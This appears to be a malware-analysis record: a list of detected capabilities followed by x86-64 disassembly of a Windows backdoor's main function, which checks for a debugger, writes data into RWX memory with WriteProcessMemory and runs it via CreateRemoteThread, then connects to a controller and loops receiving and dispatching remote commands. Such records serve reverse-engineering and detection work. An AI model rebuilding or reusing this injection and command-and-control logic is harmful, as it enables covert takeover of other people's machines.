Function at 0x402bb8
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Initialize winsock library
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x1290
call fcn.00404270
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1230], ecx
mov qword [rbp + 0x1238], rdx
call sym.__main
call sym.CustomIsDebuggerPresentCheck
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x11d8], rax
cmp qword [rbp + 0x11d8], 0
je 0x402ce3
mov rax, qword [rbp + 0x11d8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 4
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x11d0], rax
lea rax, [0x00417040]
mov rcx, rax
call sym.backdoorServer
cdqe
mov rcx, rax
mov rdx, qword [rbp + 0x11d0]
mov rax, qword [rbp + 0x11d8]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x11d0]
mov rax, qword [rbp + 0x11d8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov rax, qword [rbp + 0x11d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.lazyGetIPAddress
lea rax, [rbp + 0x10]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rbp + 0x11cc], eax
cmp dword [rbp + 0x11cc], 0
je 0x402d3b
mov eax, dword [rbp + 0x11cc]
mov edx, eax
lea rax, str.WSAStartup_failed:__d_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x40310d
lea rax, [0x00413127]
mov rcx, rax
call sym.chdir
call sym.initConnection
test eax, eax
jne 0x403107
call sym.getArch
mov rbx, rax
call sym.getPortz
mov rsi, rax
call sym.getIP
mov rdx, rax
mov eax, dword [0x00418040]
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov r8, rdx
lea rdx, str.e_1_94mDevice_Connected:__s__Port:__s__Arch:__se_0m
mov ecx, eax
call sym.sockprintf
mov dword [rbp + 0x11c8], 0
mov dword [rbp + 0x11c4], 0
jmp 0x4030d5
mov eax, dword [rbp + 0x11c8]
cdqe
mov byte [rbp + rax + 0x1b0], 0
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.trim
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x1208], rax
lea rax, [rbp + 0x1b0]
lea rdx, [0x00413d4e]
mov rcx, rax
call sym.strstr
mov rdx, rax
lea rax, [rbp + 0x1b0]
cmp rdx, rax
jne 0x402e03
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x1208]
movzx eax, byte [rax]
cmp al, 0x21
jne 0x4030d5
mov rax, qword [rbp + 0x1208]
add rax, 1
mov qword [rbp + 0x1200], rax
jmp 0x402e31
add qword [rbp + 0x1200], 1
mov rax, qword [rbp + 0x1200]
movzx eax, byte [rax]
cmp al, 0x20
je 0x402e4d
mov rax, qword [rbp + 0x1200]
movzx eax, byte [rax]
test al, al
jne 0x402e29
mov rax, qword [rbp + 0x1200]
movzx eax, byte [rax]
test al, al
jne 0x402e60
jmp 0x4030d5
mov rax, qword [rbp + 0x1200]
mov byte [rax], 0
mov rax, qword [rbp + 0x1208]
add rax, 1
mov qword [rbp + 0x1200], rax
mov rax, qword [rbp + 0x1200]
mov rcx, rax
call sym.strlen
add rax, 2
add qword [rbp + 0x1208], rax
jmp 0x402eb8
mov rax, qword [rbp + 0x1208]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x1208]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x1208]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x1208]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xa
je 0x402e98
mov rax, qword [rbp + 0x1208]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x1208]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xd
je 0x402e98
mov rax, qword [rbp + 0x1208]
mov qword [rbp + 0x11b8], rax
jmp 0x402f18
add qword [rbp + 0x1208], 1
mov rax, qword [rbp + 0x1208]
movzx eax, byte [rax]
cmp al, 0x20
je 0x402f34
mov rax, qword [rbp + 0x1208]
movzx eax, byte [rax]
test al, al
jne 0x402f10
mov rax, qword [rbp + 0x1208]
mov byte [rax], 0
add qword [rbp + 0x1208], 1
mov rax, qword [rbp + 0x11b8]
mov qword [rbp + 0x11f8], rax
jmp 0x402f81
mov rax, qword [rbp + 0x11f8]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_toupper]
call rax
mov edx, eax
mov rax, qword [rbp + 0x11f8]
mov byte [rax], dl
add qword [rbp + 0x11f8], 1
mov rax, qword [rbp + 0x11f8]
movzx eax, byte [rax]
test al, al
jne 0x402f56
mov dword [rbp + 0x11f4], 1
mov rax, qword [rbp + 0x1208]
lea rdx, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rcx, rax
call sym.strtok
mov qword [rbp + 0x11e8], rax
mov rax, qword [rbp + 0x11b8]
mov qword [rbp - 0x40], rax
jmp 0x40306d
mov rax, qword [rbp + 0x11e8]
movzx eax, byte [rax]
cmp al, 0xa
je 0x403052
mov rax, qword [rbp + 0x11e8]
mov rcx, rax
call sym.strlen
add rax, 1
mov rcx, rax
call sym.malloc
mov rdx, rax
mov eax, dword [rbp + 0x11f4]
cdqe
mov qword [rbp + rax*8 - 0x40], rdx
mov rax, qword [rbp + 0x11e8]
mov rcx, rax
call sym.strlen
lea rdx, [rax + 1]
mov eax, dword [rbp + 0x11f4]
cdqe
mov rax, qword [rbp + rax*8 - 0x40]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x11f4]
cdqe
mov rax, qword [rbp + rax*8 - 0x40]
mov rdx, qword [rbp + 0x11e8]
mov rcx, rax
call sym.strcpy
add dword [rbp + 0x11f4], 1
lea rax, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x11e8], rax
cmp qword [rbp + 0x11e8], 0
jne 0x402fc6
lea rdx, [rbp - 0x40]
mov eax, dword [rbp + 0x11f4]
mov ecx, eax
call sym.processCmd
cmp dword [rbp + 0x11f4], 1
jle 0x4030d5
mov dword [rbp + 0x11e4], 1
mov dword [rbp + 0x11e4], 1
jmp 0x4030c7
mov eax, dword [rbp + 0x11e4]
cdqe
mov rax, qword [rbp + rax*8 - 0x40]
mov rcx, rax
call sym.free
add dword [rbp + 0x11e4], 1
mov eax, dword [rbp + 0x11e4]
cmp eax, dword [rbp + 0x11f4]
jl 0x4030ab
mov eax, dword [0x00418040]
lea rdx, [rbp + 0x1b0]
mov r8d, 0x1000
mov ecx, eax
call sym.recvLine
mov dword [rbp + 0x11c8], eax
cmp dword [rbp + 0x11c8], 0xffffffff
jne 0x402da7
jmp 0x402d4a
nop
jmp 0x402d4a
add rsp, 0x1290
pop rbx
pop rsi
pop rbp
ret